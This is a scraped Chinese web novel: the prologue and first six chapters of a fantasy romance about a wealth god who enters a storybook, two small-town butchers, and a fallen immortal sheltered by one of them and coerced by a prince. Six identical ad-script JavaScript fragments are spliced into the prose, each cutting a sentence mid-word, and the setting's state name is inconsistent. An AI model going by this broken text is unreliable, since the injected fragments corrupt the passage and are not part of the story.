《财神星官穿书啦!》 1. 楔子 沈桥活腻了。对!你没听错!沈桥活腻了! 沈桥也不是个普通人,他是天上的财神星官。 对!你没听错,他就是财神星官,天天给凡人发点财的那个。 你不会以为财神星官就有用不尽的财富了吧? 你错了!你大错特错了! 他只是掌管凡人的财运,而且天君规定,每个凡人的财运都是有数的,他不能滥用职权,给人开后门。 所以他每天的工作就是机械分配凡人的财运,但凡某个凡人的财运走偏了,他好及时给扳过来。 机械的活有啥意思?而且财神殿人少,属下干不过来,他这个财神星君还得亲自上,这心操得啊,比那天河的水都多啊!这个班他是一天也不想多上了! 他时不时去求天君,给他财神殿派点人吧,派点人吧派点人吧! 天君听得耳朵都要磨茧子了,终于给沈桥派了几个属下。 没想到属下太能干,把他架空了,不过他乐得自在!闲着多好!每天睡到自然醒,啥也不用操心,每天就看看凡人为了赚点钱汲汲营营,可有意思了!(唔……好像说这话会被打) 日久天长,沈桥躺着躺着,也就无聊了。 太忙也不行,太闲也不行,做神仙咋这么难呢? 这天,他听说时明仙君发明了个新奇的穿书活动,神仙可以利用休假去穿书玩一玩,他被吸引了,果断报了名! 时明仙君说他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可以在凡间随便选个写话本的人穿到这个人写的话本里体验。 沈桥想,这可太有意思了! 不过选谁呢?他为官清正廉明,没什么认识的凡人,所以他准备随便点一个,时明仙君施法为他开启凡间镜,观大千世界的凡人,小公鸡点到谁我就选谁,沈桥指尖的金光一点,在一个穿得破破烂烂穷书生身上定格住了。 沈桥有点不乐意,这破书生能写出来什么好东西,他准备重新点一个,奈何时明仙君拦住了他,说只能点一次,不能反悔。 好吧好吧,只能死马当活马医了。 时明仙君开始施法,为沈桥开启了穿书之旅。 于是沈桥带着期待,穿入了第一个话本。 2. 第一章 自从新帝登基后,便重文轻武,鼓励科举考试,于是全国上下刮起了一阵“万般皆下品,惟有读书高”的读书风。 宁阳镇是一个离皇城很远的小镇子,镇上原来有两个单身屠夫,屠夫老赵和屠夫老李。 这两人年龄相仿,长得都高大魁梧,而且还都是镇子里的大龄剩男。 屠夫老李年近三十,长得高大魁梧,说话又横,在街上卖了十来年肉了。 要是搁没战乱之前的那和平年代,屠夫这种有男人味并且工作稳定的男人是镇子里小姑娘抢着嫁的香饽饽。 但是现在就不一样了,新帝鼓励科举,鼓励读书,小姑娘嫁人更多选择读书人或者富家子弟,而且她们认为屠夫一辈子卖肉没什么前途,身上还总是一股子臭臭的肉腥味。 老赵和老李运气不好,年轻的时候被征兵去打仗了,回到家乡刚做了屠夫一年,还没讨到媳妇,就赶上了新帝登基,于是老赵和老李这两个屠夫就剩下了。 屠夫老李隔壁的王大娘十分热心,不遗余力地给老李寻摸适龄的姑娘,好不容易找到一个不嫌弃老李是屠夫的姑娘。 这姑娘姓孙,是个绣娘,性格挺好,就是脸上有一大块胎记,老李也没嫌弃,镇上的人经常看到孙姑娘来给老李送饭,老李也会特意留一些好肉给孙姑娘。 大家都以为老李亲事将近,没想到屠夫老赵竟然先发了成亲的喜帖! 老赵要成亲的消息犹如平地一声惊雷,在镇上掀起了轩然大波。 大家都在打听老赵的成亲对象是谁,偏生老赵家把新娘子的出身捂得严严实实,连镇上最八卦的娘子团都没打听到。 老赵成亲那天大家伙儿也没见到新娘子的娘家人,还是老赵那边说新娘子家人住得太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 远赶不过来,神神秘秘的。 而且大伙儿发现老赵成亲之后顾家了很多,摊子摆得晚收得早,但是对于他新娶的小媳妇,大家伙儿是谁也没见过。 大家伙猜要么是新娘子身份太贵重,要么是身份太寒酸。 可再寒酸也不至于一点也查不到啊! 这天买完菜,八卦娘子团聚在一起就此进行了深入探讨。 正在大家百思不得其解之际,王大娘忽然一个激灵:“可别是拐来的吧!” 王大娘这话获得了其他大娘的一致赞同,镇上对拐卖良家妇女这种行为深恶痛绝,秦大娘的儿子在衙门当差,秦大娘便自告奋勇替儿子揽下了此事。 秦大娘儿子决定先自己侦查一番,找到线索再禀告给衙门。 他利用晚上休息时间,在心中一边谴责自己的行为一边跃上了赵屠夫家的屋顶。 3. 第二章 屋里那一声声软媚的夫君听得秦大娘儿子这个未婚小伙子面红耳赤。 秦大娘儿子红着热腾腾的脸听了好一阵子,也没听出什么重要信息来。 正当他起身要走的时候,背后忽然响起一个中气十足的男声:“你在俺家房顶听了这么久,到底想干什么?!” 糟糕!竟然被发现了! 秦大娘儿子顿时心中一凛,背脊开始发凉,回头一看,看到本应该在房中的赵屠夫竟穿戴整齐地站在他面前! 那房间里的是谁? 赵屠夫向他发难,声音里满是不悦:“你是谁?为什么在俺家房顶?究竟有何目的?说!” 秦大娘儿子顾不得想许多,飞身就要往下冲,后肩却被一只有力的大手牢牢捉住。 二人过了几个回合,从房顶打到地上,秦大娘儿子蒙在脸上的面巾被赵屠夫一把扯下。 赵屠夫一脸震惊:“秦捕快,竟然是你!” 秦捕快不会说谎,只得如实相告。 赵屠夫又气又笑,解释道:“俺娘子的出身有些不方便向大家透露,而且他身上有疾病,畏光不能出门。但俺娘子绝对不是我拐来的,还请捕快大人明察!” 秦捕快见赵屠夫言辞恳切,不像作伪,“我可以相信你,但是你娘子的出身你没有给大家一个合理的解释,大家仍然会猜忌。” 赵屠夫抱拳:“多谢捕快大人提醒,俺一定给大家一个合理的解释!” “如此甚好。”秦捕快点点头,又问出了心中疑问:“敢问赵叔,方才是如何知道秦某在房顶的?” 赵屠夫爽朗一笑:“捕快大人年纪尚小,可能不知道俺之前当过兵,耳力自然比让人灵敏一些,您刚来俺就听见了,这才让俺娘子配合了一下。” “是秦某失算。为何您一开始不阻止我?”秦捕快说到这,有些难为情,毕竟他在外面听了那么长时间…… 说到这个,赵屠夫也挠了挠头:“不瞒捕快大人您说,俺见你迟迟没行动,心里也怪纳闷的……” 秦捕快越听越尴尬,匆匆道了个别就离开了。 秦捕快离开之后,赵屠夫回到房里,看到他的小媳妇背对着他躺在床上,薄薄的被子勾勒出纤条的身姿,看得赵屠夫心里直痒痒。 一把冲上床铺抱住了他香香软软的小媳妇,“媳妇儿俺回来了!” 赵屠夫媳妇挣扎了一下,声音里带着些别扭:“你别抱这么紧,热!” 赵屠夫媳妇的声音并不像一般女子那般娇弱纤细,声线反而像少年那般清朗。 赵屠夫赖皮似的抱紧媳妇拱了拱,亲密地蹭着媳妇的脸:“媳妇儿你刚才声音真好听,俺都听热了!” 呼呼的热气喷洒在赵屠夫媳妇羊脂玉一般的脸颊上,短硬的胡茬刮得赵屠夫媳妇十分不自在,想到刚才的事,脸上更热了,又羞又臊地问:“你怎么去了那么久才回来?房顶上那人是谁?你们打起来了吗?” 说到这个,赵屠夫一脸得意:“当然打起来了!俺跟秦捕快打了个痛快,秦捕快小年轻儿,约摸是实战经验少,没几下就叫俺给扯了他的面巾,你是没见过俺当兵打仗的时候,一个打仨,可威风了!” 赵屠夫媳妇没理赵屠夫的吹牛,关注点都在另一件事上:“秦捕快为何在房顶?” 赵屠夫也没多想,将秦捕快来的原因给媳妇说了,赵屠夫媳妇越听心越沉,于是,两口子开始商量解决对策。 商量完,赵屠夫就迫不及待地抱着小媳妇亲热,结果被媳妇以身体不适委婉地拒绝了。 赵屠夫想到自己之前确实把人折腾得太狠,只得悻悻作罢。 不过他也没亏待自己,在被窝里揩了不少 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 油,反复挑战自家小媳妇的底线。 * 那天之后,大家就听说屠夫老赵新娶的媳妇畏光不能出门的消息,又过了几天,还看到老赵媳妇的爹娘登了老赵家的门。 原来是老赵媳妇的爹娘听说女儿出身被镇里猜忌,为此千里迢迢从偏远小山村赶过来给女儿撑腰。 邻里们自觉对不住老赵,登门又是送菜又是送肉。从此大家再也没人说老赵媳妇出身的事了。 屠夫老赵娶妻后,宁阳镇现在就剩屠夫老李一个单身剩屠夫了。 屠夫老李的邻居王大娘看到屠夫老赵都娶了妻,赶紧催促老李和绣娘孙姑娘成亲。 老李听了王大娘的话,这天买了一些礼品亲自登门求娶。 结果刚敲门进去,就看见孙姑娘满脸泪痕趴在盖了白布的未来老丈人身上,哭得满脸泪痕。 好巧不巧,他这还未正式见面的老丈人,就这么走了。 孙姑娘丧了父,要守孝三年,这亲事便搁下来了。 同样都是大龄剩屠夫,老赵娶了娇妻生活美满,老李还得被迫单身。 王大娘感叹:这都是命啊! 老李父母很早就去世了,觉得自己这么多年都单过来了,也不差这三年,他愿意等孙姑娘守孝期满。 孙姑娘家里原来就父女二人,现在孙姑娘父亲走了,家里便格外冷清,孙姑娘心情也是郁郁的。 老李看出来,每天卖完肉就去孙姑娘家坐一会儿,陪姑娘闲唠嗑,帮姑娘劈柴喂鸡,一起吃晚饭,这般不离不弃的深情屠夫,获得邻里一致赞赏。 这天,老李吃完晚饭从孙姑娘家回来,竟发现一个白衣人倒在他家院子里,他吓了一跳,把人扶起来,看到这人容貌的时候呆了一下。 他长这么大,从来没看见过这么好看的人,像画里的神仙。 4. 第三章 他在这人耳边喊了几声没人应,寻思应该是昏迷过去了,把人抱到房里安置好便出门去找了镇上的莫老郎中。 莫老郎中看过之后,摸着长长的胡须皱着个眉头就是不说话。 老李焦急地问:“莫老,您咋不说话呢?他怎么样?” 莫老眯了眯眼,向老李瞥去一眼,老李只觉那眼神凉嗖嗖的,心里咯噔一下,莫不是没救了?这样神仙似的人物,他还没来得及跟人家说上话,就这么无缘了? 老李还沉浸在伤感中,只见莫老忽然拍着大腿大叹:“稀奇!稀奇啊!” 老李被吓了一跳,赶紧问:“怎么稀奇了?” 只听莫老道:“老夫行医这么多年还从来没见过这么稀奇的情况。他的心肺似乎遭到过重击,寻常人的心肺要是遭到这种程度的重击早就一命呜呼了,但是他的心跳却很平稳,而且身上竟然一点伤口都没有。” 老李听得直啧啧称奇:“那莫老您看他为啥还睡着呢?” 莫老摇头:“恕老夫医术有限,实在看不出来,不过老夫觉得这人应该没什么大碍。这样,老夫给他开一些养心肺的药,你给他喝一喝试试,没准儿过两天就醒了。” 老李连连感谢,跟着莫老到镇上抓了药。 莫老对于那人的病情有很多疑问,对老李说如果那人醒了记得要问清楚那人之前的受伤情况,老李连连答应。 临走之前莫老还特别嘱咐老李:“老夫瞧那人出身定不同寻常,单说他那长相就容易引来祸端,家里收留一个来路不明的人对你对镇子都不是什么好事,等人好了趁早送走吧。” 老李看见莫老面容 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 严肃,浑浊的眼睛紧紧盯着他,似乎在提点他什么,心中警醒了三分,忙点头答应。 老李回来熬完药,端着药到了床前,看着床上神仙似的男人,浓密如鸦羽似的睫毛铺在那苍白得近乎透明的脸上,像是某种精致易碎的瓷器。 老李忍不住感叹一句:“这脸蛋儿真比娘们儿还好看!” 又忍不住孤疑地瞅了眼男人身上盖着的被子:这当真是个男人?不会是个女人吧? 老李虽然是个大老粗,但也知道再往下想有些不礼貌。 摒弃了杂念,掀开男人身上的被子,捏开男人的嘴巴,把药一勺一勺喂进去。 喂药喂到一半,男人呛咳起来,赵屠夫赶紧拿布去给人擦嘴,男人咳着咳着,睁开了眼睛。 老李一声惊呼:“你的眼睛?!” 5. 第四章 男人的眼睛是浅蓝色的! 大楚上下都是汉人,瞳孔大多是黑色或者浅褐色,只有异族人的眼睛才有别的颜色。 老李之前在随军打仗的时候见过一个异族的女战俘,有着一双翠绿色的眼睛,美艳绝伦,当时惊为天人。 而眼前这个男人的容貌,比之当初那个异族美人有过之而无不及。 如果说那个异族美人是明艳的人间牡丹,那么眼前这个就是清冷的天上明月。 看着这双美丽的蓝眸,老李下意识地问:“你是异族人?” “异族人?什么是异族人?”男人眼底多了几分波澜,他开始打量着周围的环境,最后落到眼前的大胡子壮汉身上,“这是哪里?你是谁?” 被这样一双美丽的眼睛盯住,任谁都会把持不住,老李咽了下口水,低头心里念了几遍孙姑娘,这才抬头说:“这是宁阳镇,俺是这儿的屠夫李承,今天俺回家看到你倒在俺家院子里,就把你抱进屋里,还帮你找了莫老给你看病。对了,莫老说你心肺似乎受到什么重击,给你开了养心肺的药,这不,喂到一半你就醒了!” 男人随着李承的话快速理着思绪,忽然又听到李承大咧咧的声音。 “你还没告诉俺你是不是异族人呐?” 男人皱了下眉头:“我是不是异族人?有什么区别吗?” 当然有区别了! 前些年大楚跟周边三个异族争地盘轮番打仗,互不相让,老皇帝驾崩后,那些异族人趁机攻打大楚,民不聊生,幸好朝中有能人志士坚守国门,直到顺利辅佐新帝登基才天下太平。 李承愈发觉得这人来历有问题,可能是异族派来的奸细,便多了个心眼,将药放在一边,问男人:“你这眼睛为什么是蓝色的?” 男人说:“生来如此。” 男人看出李承对他的戒备,他如今仙基已毁,灵力尽失,与凡人无异,况且天界他恐怕也是回不去了。 现在既然落在这个凡人李承的家里,那么为了他以后的长远打算,需要取得李承的信任。 男人尝试着坐起来,心肺忽然一股撕裂般的剧痛,他捂住胸口猛咳。 李承急了,也不管对方是不是异族人了,忙凑过去拍他的背给他顺气:“你怎么样?你说说你这身体还没好利索瞎折腾什么啊?” 男人咳着,抬眼看向老李,蓝眸中聚了水汽,水光潋滟的,看得人心神一荡。 李承赶紧避开视线,心想:再跟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这个妖精似的男人待在一个屋里他都要忘了孙姑娘长啥样了! 男人沙哑着声音道:“在下之前受伤了,多谢李兄为在下医治。” 李承大咧咧道:“谢什么!你既然在俺家院子里昏倒了,俺就不能见死不救!” 男人又道:“至于兄台说的异族人,不瞒李兄说,在下也不知道对你们来说在下算不算是异族人,在下是家乡遭了大水,逃难过来的。” 李承觉得男人不像是在撒谎,但是在他们的认知里,眼睛颜色跟他们不一样就是异族人,这让李承有些为难…… “不知李兄是否方便,在下是否能暂住几日,待养好伤再离开?” “在下身无长物,只有这个还算值钱,这是在下的一点心意,还望兄台不要拒绝。” 男人说着,从头顶取下束发的白玉簪,递向李承,那玉簪玉质清透,一看就很值钱。 李承觉得,暂住是小事,万一这人真是奸细那就麻烦大了。 “若是李兄为难,那就不麻烦李兄了,这玉你收下,就当是李兄你救治在下的报酬了。” 男人说着,把玉簪放在李承手里。 接触的一瞬间,李承觉得对方的手很凉,跟玉簪一样凉。 6. 第五章 男人说完,艰难地起身下床,下地的时候一个踉跄,扶着床柱才勉强没有摔倒。 见此,李承也顾不上纠结了,赶紧去搀扶:“你这病还没好,赶紧躺下!” 李承把人好好安顿在被子里,把手中的玉簪往男人手里一塞:“俺不要你的簪子!不是有句话说救人一命,什么图来着么!俺救你又不是为了要你的钱!你不是逃难来的么!身上也没什么钱,俺再要你的钱成什么人了!这簪子你自己留着吧!” 男人握着玉簪没说话,良久才抬眼看向李承,眼睛里多了真挚之色,抱拳道:“李兄的这份恩情,在下记下了,日后若有机会,在下必定涌泉相报!” 说着,他微微弯了下唇角:“还有,李兄,那句话叫救人一命,胜造七级浮屠。” 这笑容似乎像冰雪初融,四季的花一瞬间开放。 那双美丽的蓝眸洒满了细碎的微光,美得惊心动魄。 李承呆了一下。 之前李承总觉得这男人美得像画里的假人,现在好像才真实起来。 李承捂住怦怦跳的心脏:不行,这真受不了,怎么会有男人长这么好看? 李承看向男人,吞吞吐吐地道:“俺有一个问题想问你。” 男人有一瞬间疑惑:“请问。” 李承抓了抓头,眼睛一闭一睁,咬牙道:“你……是男人吧?” 说着,赶紧又解释一句:“你别误会!俺就是觉得你长得太好看了……” 男人瞳孔有一瞬间放大,大概是没想到李承会问这样一个问题,沉默片刻,才道:“我是。” 说完,屋里的气氛有些奇怪。 李承打着哈哈:“你是男人就好!是男人就好!药凉了,俺去给你把药热热!”说完,拿着药碗就出去了。 李承出去后,男人伸手碰了碰自己的脸,他之前来凡间的时候从未用真容,现下,他这张脸也成了问题。 老李热了药回来,端到男人面前说:“既然你已经醒了,就自己把药喝了吧。” “多谢李兄。”男人接过去喝着药。 见男人喝完药,老李问他:“你说你家乡遭了大水,你家是哪的?” 男人想到之前下凡巡视的时候,有几个常年发水的地方,便挑了一个地方说。 老李也没听过这地方,也觉得自己脑子不够用,问不出什么来,干脆挑明:“俺实话跟你说了吧,你留在俺家住几天没问题,但你要是做对镇上或者对我们大楚国不利的事情,俺第一个不放过你!” 男人向他保证:“李兄你放心,在下一定安分守己,不做对镇上或者大楚国不利的事情,养好病就离开。” 老李见男人眼神真挚,便也稍微放了心,“那你就在俺家住着吧,俺家小,你别嫌弃就行,对了,你叫啥名?” 男人顿了顿,道:“谢久微。” 自从飞升之后,他便再也没有用过这个名字了,如今再提起,竟有一种久违的熟悉。 “谢久微?”老李咂摸咂摸这个名字,问:“你是读书人吧?” 谢久微点头:“读过几年书。” 李承嘿嘿笑:“一听你名字俺就觉得你是读书人,文绉绉的!” 久微,久微,是长久平凡之意。 当初父亲希望他做一个普通人,可他偏偏不想做普通人,拜了仙门,受恩于父母,师父,师弟……九死一生才飞升成仙。 可是成仙之后,却并不是他想象的那样…… 如果他当初留在父母身边,做个普通人安乐一世,未尝不是一种幸福? 谢久微恍惚地想。 李承见谢久微没说话,便道:“谢兄弟,不早了,你休息吧。” 说罢,转身走了,刚走到门口,后面忽然传来谢久微的声音:“李兄,你家可有沐浴的地方?” 李承顿住,觉得事情可能不简单,转头道:“没有,俺平时洗澡都是拿大桶浇两下,你要洗澡?” 谢久微点头。 读书人洗澡就是麻烦,还要热水! 李承一边在厨房添着柴火一边想。 李承烧完水,挑了两桶给谢久微擦身。 挑着两桶谢久微用完的水出来,李承揩了把汗,他这莫不是捡了个祖宗供着? 李承也没嫌弃,直接就用谢久微用过的水浇了身子。 不知道是不是他的错觉,总觉得这水里带着一股淡淡的香味,这读书人用过的水就是不一样啊! 李承擦完身子,走到旁边的柴房,铺点草,凑合凑合睡了。 夜里,谢久微察探体内情况,惊喜发现他的仙基虽毁,可还残存一丝灵气,若好生滋养,再寻一灵气充沛之地修炼,未尝没有恢复灵力的可能。 若是能重新修炼,那他绝对不会选择飞升,他要做一个闲散的修仙之人游遍凡间风景。 第二天一早,李承给谢久微热了药,做了青菜炒肉配馒头,顺带伺候谢久微洗漱。 谢久微初初看到饭菜的时候,有些愣神,神仙不食五谷,他已经很多年没有吃过凡间的饭菜了。 李承见谢久微发呆,便问:“你咋不吃呢?不喜欢吃这菜啊?” 谢久微摇头:“没有,刚才在想事情,抱歉,这就吃。”说完,动筷子夹菜放在嘴里,竟然尝出一股久违的家乡的味道。 说来,他也很久没有回家乡了,起初还回去,后来已经改朝换代物是人非看不出原来的样子了。 这样想着,心里又多了一丝怅然。 李承吃着吃着,忽然想到莫老之前说过的谢久微心肺受过重击的事,便问谢久微如何受了伤。 谢久微说是逃难的时候受了伤,至于为什么皮肤上没有一点痕迹,是因为年轻的时候习过武,所以身体比旁人强健一些,愈合得快。 李承想,这愈合得也太好了吧! 但又觉得哪里有些不对劲:“年轻的时候?俺看你现在就很年轻啊!你多大?” 谢久微想,真实的年龄他已不知几何了,便随意说了一个年龄:“不瞒李兄,在下今年二十有九了。” 李承瞪大眼,不敢相信:“你二十九了?!” 这皮肤光滑白净的,比他们镇上公认的美人吴知县家的女儿都要好。 李承不禁咂舌:“你们读书人就是显年轻啊!” 又忍不住开了个玩笑:“你看看俺,才二十五,看着像你爹!” 李承生得高大魁梧,又经常风吹日晒,皮肤黝黑,又留着一把大胡子,凶神恶煞的,二十五的年纪像四十五。 (此处要插一小段解释:镇上两个单身屠夫。 屠夫老赵还能想着剃一剃胡子,脸上虽有些胡茬,但是看着十分有男人味道。 屠夫老李就十分地不修边幅,留着大胡子,身材又壮,总是给人一种凶狠难以接近的感觉,所以就算是媒婆说亲,也会偏向老赵一些。 这也许是为什么屠夫老赵先娶到妻子的一个原因。) 谢久微扯了下嘴角:“李兄说笑了。” 吃完饭,谢久微又询问李承家里是否有薄纱,他想做一个幕篱方便出门时遮住相貌。 李承在家里翻找一通,没找到谢久微有要的那种薄透纱,最后说:“算了,俺到街上给你买一个那个什么幕篱吧!” 谢久微也没客气,揖了一礼:“那就麻烦李兄破费了,待在下赚到钱,一定如数归还。” 李承也没太在意,一个幕篱而已,能有多少钱,他也没想着让谢久微还。 李承白天趁着人少的空挡,叫小徒弟替他看着肉摊,自己去帮谢久微买幕篱。 好巧不巧,在卖幕篱的摊子前面看到了屠夫老赵。 李承和老赵都是参军之后回来卖肉,经历差不多,之前又都单着,偶尔也约着去喝酒,交情不错。 老赵成亲的消息传出来的时候李承也挺惊讶的,毕竟老赵成亲之前没有传出老赵跟什么姑娘有来往,直到成亲之后才传出来新娘子是老赵当兵的时候英雄救美救下的。 李承想,他当兵的时候也救了不少姑娘,也没见那些姑娘以身相许,唉,同人不同命啊!不过他现在有孙姑娘了。 李承见老赵如今红光满面的,整个人精神头都比之前强了不少。 看来这成亲是真好啊! 李承暗暗羡慕着。 打了个招呼,李承看到老赵手里拿了一个幕篱,孤疑地问:“你也来买这个什么幕篱?你用吗?” 老赵摇头:“给俺媳妇的!” 李承想到老赵媳妇畏光,确实需要买一个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 戴戴。 老赵见李承也买了一个幕篱,十分好奇:“你买幕篱给谁戴啊?” 还没等李承回答,老赵就灵光一现,嘿嘿笑道:“是给孙姑娘买的吧!” 李承有些尴尬,他救了一个不知道是不是异族人的漂亮男人,为了避免麻烦,还是不要往外说的好。 于是,李承点了点头,没再跟老赵多说话,付了钱就走了。 谢久微上午都在李承家里打坐,尝试将体内的那一丝灵气滋养运化,但此地灵气并不丰沛,一上午也没什么进展。 李承中午回了一趟家里,把买好的幕篱给了谢久微,还给谢久微带了一份午饭。 谢久微尝了尝,又油又咸,感觉味道没有李承做的好吃,没有家乡的味道。 没吃几口就撂了筷子,李承见此:“不爱吃啊?” 谢久微点了点头,说:“咸了。” 李承说:“那俺下回给你买点清淡的。” “对了,俺晚上要去孙姑娘家吃饭,我给你点银子,晚饭你自己买点。” 谢久微问:“孙姑娘是谁?” 李承不好意思地挠了挠头,说:“俺准备娶的媳妇儿。” 谢久微点了点头:“哦。” 李承忽然问:“你娶媳妇儿了没有啊?” 李承很好奇这样漂亮的人物,媳妇会是什么样? 谢久微摇头,说:“没有。” 李承追问:“为什么不娶媳妇儿?” 谢久微顿了顿,说:“不想娶。” 李承觉得稀奇:“竟然有人不想娶媳妇!” 谢久微不愿谈这个话题,便没有搭话,谁知李承自顾自说了起来:“谢兄弟,不瞒你说,俺以前找不着媳妇,就索性不找了,觉着一个人也挺好,但就是心里没着没落的,想找个人唠点体己话都没有。后来隔壁王大娘给俺介绍了孙姑娘……”李承说到孙姑娘的时候,两只眼睛亮亮的,“孙姑娘人特别好,温温柔柔的,说话轻声细语的,还夸俺做饭好吃,你看,这是她前天给俺绣的荷包!好看吧?”说着,他从怀里拿出一个黄色的荷包,很精致,上面绣着荷花,栩栩如生。 普通人的快乐,就是如此吧? 谢久微想。 可惜……他再也不会拥有了…… 谢久微看着荷包沉默片刻,点头说:“好看。” “你条件这么好,竟然不想娶媳妇,俺听说异族的姑娘可是个顶个的漂亮呢!” 说到这里,李承忽然想到了之前见过的那个异族女战俘,听说因为太漂亮了被送给一些皇室宗亲,最后得了不干净的病死了。 李承忍不住看了一眼谢久微清冷精致的脸,心道:这谢兄弟可不能当战俘,要不然可惨了…… 李承咽了口唾沫,忍不住嘱咐谢久微:“你出门注意点啊,我们这儿把蓝眼睛的都当做异族人,你要是不小心被人看到你的蓝眼睛,就会被人抓走审问了!” 谢久微点头说:“知道了,多谢李兄。” 李承没一会儿就走了,谢久微下午在房间坐了一会儿,然后戴上幕篱出了门。 隔壁王大娘在院子里喂鸡,恰好看见一个戴着幕篱的白衣人从李承的屋里出去,她觉得奇怪,便跟了上去。 谢久微虽然仙根毁了,但多年修仙让他练得五感敏锐,他很快感觉到有人跟踪自己,七拐八拐甩掉了跟踪之人,才开始正式办自己的事。 他的故乡有一处适合修仙的洞天福地,那里也许能助他恢复重铸根基。 他向街上的热心人打听到了这里离他的故乡很远,要想回故乡要先凑够盘缠。 他不爱打扮,身上唯一值钱的东西就是头上的白玉簪,跟了他多年,舍不得当掉。 他看到酒楼在招伙计,但是他这样的面容无法跑堂做伙计。 又看到绣庄在招绣娘,他不会刺绣,亦觉得男子学刺绣很怪异。 另一家酒楼在招厨子,他亦不会烧菜做饭,莫名想到李承倒是适合。 做神仙做了这么久,竟一点生存技能都没有,谢久微有些泄气。 他在一个摊子前面看到一个银面具,正要拿来仔细看看,却被另一只手抢先拿走。 随之响起一个声音:“面具,并不能遮挡你的眼睛。” 7. 第六章 这声音低沉悠缓,富有磁性,深受小姑娘们的喜欢。 说话的男子身着华贵的白袍,手持一把白折扇,唇边漾起一抹风流笑意,好一个风度翩翩的世家公子,市集上许多的女子都在偷偷看着这位公子。 谢久微却连看也没看说话人,转身就走,忽然手腕被人抓住,男子不知何时凑到他耳边,呼出的热气令人不由自主的颤栗:“谢久微,好久不见,见到本殿可还开心?” 一股深入骨髓的寒意从脊柱窜上来,谢久微下意识地想要挣脱,可他明显感觉那只手越握越紧,像火热的钳子一样牢牢抓住他的手,他如今灵力尽失,自然摆脱不了来人。他压着愤怒低问:“殿下,我如今已经是个废人,您还想怎么样?” “怎么样?”那声音有些懒洋洋的,似乎漫不经心,“本殿说过,在本殿还没玩够之前,你没有资格逃离本殿的手掌心!”说到最后,声音里透着志在必得的笃定。 谢久微闭了闭眼睛,声音里透着浓浓的无奈与疲惫:“殿下还想要如何玩?” “这样玩。”见到谢久微服软的样子,来人心情愉悦,将谢久微腰身一揽,众目睽睽之下搂着人就走了。 围观的小姑娘们一脸伤心,站在一旁看了很久的王大娘觉得有些不对劲,转头问旁边一个一脸失落的小姑娘,“哎,方才那个白衣服的公子哥儿是谁啊?我怎么没见过?” 小姑娘摇头说:“我也没见过,今天刚看见。” 王大娘心想,这小李屋里出来的人跟着一个看起来很有钱的公子哥儿走了? 这小李都招惹了些什么人? 李承下午的时候去了一趟莫老那里,告诉莫老谢久微的情况,隐瞒了谢久微有一双蓝眼睛的事情,只说谢久微是流民,莫老还是觉得有些费解,本来想亲自来看看谢久微的情况,但是药店走不开,只能叮嘱李承尽快把人送走为妙,李承应下。 李承收摊之后去孙姑娘家待了一会儿,回到家的时候,没看到谢久微,正觉得纳闷,王大娘上门来把白天看到的事情告诉了他。 王大娘十分好奇从李承屋里走出去的是个什么人,李承含糊说是逃难借宿的。 王大娘想起白天的事情,忍不住说:“你可别什么人都往家里招,我看你收留的那个人今天跟着走的那个像是个有权有势的公子哥儿,我问了好几个人都没打听出来那公子哥儿的来历,没准儿是京城里来的,我们宁阳镇这小地方招惹不起这些大人物,小李你可得离他们远点!” 李承点头称是,心里有些不是滋味,他好心收留谢久微,结果连个招呼都不打就走了。 走了也好,省得给他添麻烦! 李承气愤地想着,又见王大娘眼神怪异地看着自己说:“我看那俩人不咋地,俩男人在大街上搂搂抱抱,小李你以后可离这种人远点!” 大梁在择偶观念上不是很开放,但也有一些地方男风盛行。 宁阳镇民风淳朴保守,不似大梁边境那般民风开放,王大娘是个传统的女人,最不看不惯男风之事。 李承心不在焉地点头称是,李承之前在军营里的时候听过一些兄弟说起这些事,但是当时他没在意。 李承体格壮硕,颇受一些瘦弱小兵的喜爱,他当时对这种事情很抵触,接受不了,觉得膈应。 但是现在听王大娘说谢兄弟也可能有这种事,心里莫名有些不是滋味。 他看谢兄弟不像是那种人啊……但是谢兄弟长得那么好看……也有可能…… 晚上,李承收拾着被褥,只觉得被褥上有一股子他从来没有闻过的香气,像是清冽的冷香,很好闻,他忍不住猛吸了一口。 这谢兄弟睡过的床都这么香,心里又浮上一股很怪异的感觉。 莫非谢兄弟真的跟男人……? 他在军营里对男人之间如何快活也有所耳闻,谢兄弟那张脸,倒真适合当下面那个…… 想着想着,他又觉得自己很无耻,怎么能这么想谢兄弟呢?没准儿谢兄弟就是跟他朋友过好日子去了。 跟朋友过好日子去了,连个招呼都不打,亏他好心收留他,还给他买药看病,这种人下次就不该收留! 这么一想,李承又很气愤。 不知不觉,李承觉得自己好像走进了一间屋子里,帘子后面传来男人好听的诱哄声,婴儿啧啧吃奶的声音。 他走上前撩开帘子,看到床上坐着一个白衣男人,敞着衣襟,正在给怀里的小婴儿喂奶。 男人也能喂奶? 李承正惊异着,忽然,男人似乎感觉到什么,抬起眼眸,与李承对视。 男人生得很好看,让人过目不忘的那种,脸蛋白净又漂亮,一双蔚蓝的眼眸像荡漾的碧波水。 忽然一切又都消失无踪,李承从黑暗中坐起来。 他竟然梦见谢兄弟给孩子喂奶! 这种梦他都不好意思跟别人讲! 他真是魔怔了! 李承懊恼地抓了抓头发,觉得有点对不住谢兄弟。 在床上翻来覆去了一会儿,闭上眼睛就是刚才做梦梦见谢兄弟给孩子喂奶的样子。 平时倒头就睡的李承忽然睡不着了,这比在孙姑娘面前说错话还愁人! 第二天李承顶着俩黑眼圈去见孙姑娘,孙姑娘问他是不是没睡好,李承点了点头,至于原因,就很难以启齿,他又不擅长撒谎。 孙姑娘也没再问,体贴地给他炖了猪骨汤补气血。 李承一阵感动,他发誓,他要每天晚上他想着孙姑娘入睡,就不会做谢兄弟那种奇怪的梦了! 